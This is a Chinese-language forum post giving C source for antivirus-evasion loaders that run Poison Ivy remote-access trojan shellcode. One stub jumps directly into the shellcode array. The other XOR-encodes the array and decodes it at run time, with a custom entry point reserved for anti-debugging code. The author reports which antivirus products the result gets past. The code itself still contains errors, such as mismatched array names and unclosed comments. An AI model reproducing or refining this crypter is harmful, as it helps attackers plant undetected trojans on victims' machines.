來自暗組,但原貼有諸多語法錯誤,以下是修正後的編譯法。
一,直接編譯:
#include <windows.h>
#pragma comment(linker, "/OPT:NOWIN98")
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
#pragma comment(linker, "/MERGE:.rdata=.text") //合并區段,減小體積,可以不要
void main()
{
unsigned char PIShellCode[n] =
{
//這裡填上產生的數組
};
_asm
{
lea eax,_black
call eax
}
}
這麼編譯出來,國內全過了(表面),NOD32都不殺了~~只有360殺毒還沒過。加個反調試,也過了。
如果自訂進入點的話,NOD32就殺了,很奇怪。。。
=========================================================================================================
二,異或免殺:
1,加密原數組,並輸出。
#include <stdio.h>
void main()
{
unsigned char red[n];
{
/*這裡用來放產生的數組,直接拷貝進來就行了;*/
};
unsigned char black[n] ; /* 這裡聲明兩個數組,第一個數組是posion ivy 產生的(可以直接拷貝產生的數組)
第二個數組用來接收加密過的數組,一般情況下產生的數組的長度由 posion ivy服務端配置
情況來決定,第二個數組可以聲明與第一個數組同樣大;
*/
for(int i=0;i<=n-1;i++)
{
black[i]=red[i] ^ 0x5f /* 這裡直接對數組red進行xor加密
}
for (int j=0;j<=n-1;j++)
{
printf("0x")
printf("%x",black[j]); /* 這裡輸出已經加密過的數組
printf(",")
}
}
編譯,然後輸出到 a.txt。
2,解密,編譯成木馬。
#include <windows.h>
#pragma comment(linker, "/OPT:NOWIN98")
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
#pragma comment(linker, "/ENTRY:Fuck_AntiVirus") //自訂了進入點,方便加反調試
#pragma comment(linker, "/MERGE:.rdata=.text")
void Pi_Exe()
{
unsigned char FuckU[n] =
{
//上面 a.txt 中的數組元素,複製過來。
};
unsigned char black[n];
for(int i=0;i<=n-1;i++)
{
black[i]=FuckU[i] ^ 0x5f;
}
_asm
{
lea eax,black
call eax
}
}
void Fuck_AntiVirus()
{
_asm
{
//加點反調試代碼
}
Pi_Exe();
}
編譯成功,殺毒網絕大部分通過。國內全過,僅是表面。。。
初學VC,錯誤在所難免。。。
我發現,異或不異或,免殺效果沒有什麼改變。。。主要還是反調試要強。